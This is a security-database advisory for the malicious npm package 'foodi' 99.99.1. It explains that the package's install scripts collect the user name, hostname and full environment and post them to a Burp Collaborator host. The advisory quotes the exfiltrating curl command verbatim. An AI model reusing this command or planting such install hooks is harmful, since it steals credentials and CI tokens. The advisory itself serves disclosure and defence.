MAL-2026-12383

    Dashboard / Malicious Package / MAL-2026-12383

    MAL-2026-12383

    Published: 5 Aug 2026Last Modified: 5 Aug 2026

    Summary: Malicious code in foodi (npm)

    Details: Source: amazon-inspector (299310eb47eac6e7f39ee1a7346de8e524d9a91cc6a07d2e8879338fa86ff5af) package.json declares preinstall and postinstall lifecycle scripts that both execute `curl -X POST -k -s https://y0zhmssf65c8er7btoglvt9bg2mtakc81.oastify.com -d "u=$(whoami)&h=$(hostname)&e=$(env)"`. On `npm install`, the package runs `whoami`, `hostname`, and dumps the full process environment, then POSTs the collected data to a Burp Collaborator (oastify.com) subdomain over TLS with certificate verification disabled (`-k`). Environment variables on developer and CI machines routinely contain credentials, API keys, and CI tokens. The package's main module is empty, consistent with a squat/dependency-confusion payload whose sole function is install-time exfiltration.

    References: https://www.npmjs.com/package/foodi/v/99.99.1

    Affected packages

    Package

    Name: foodi

    Purl: pkg:npm/foodi

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    99.99.1
    MAL-2026-12383 | CVE-DB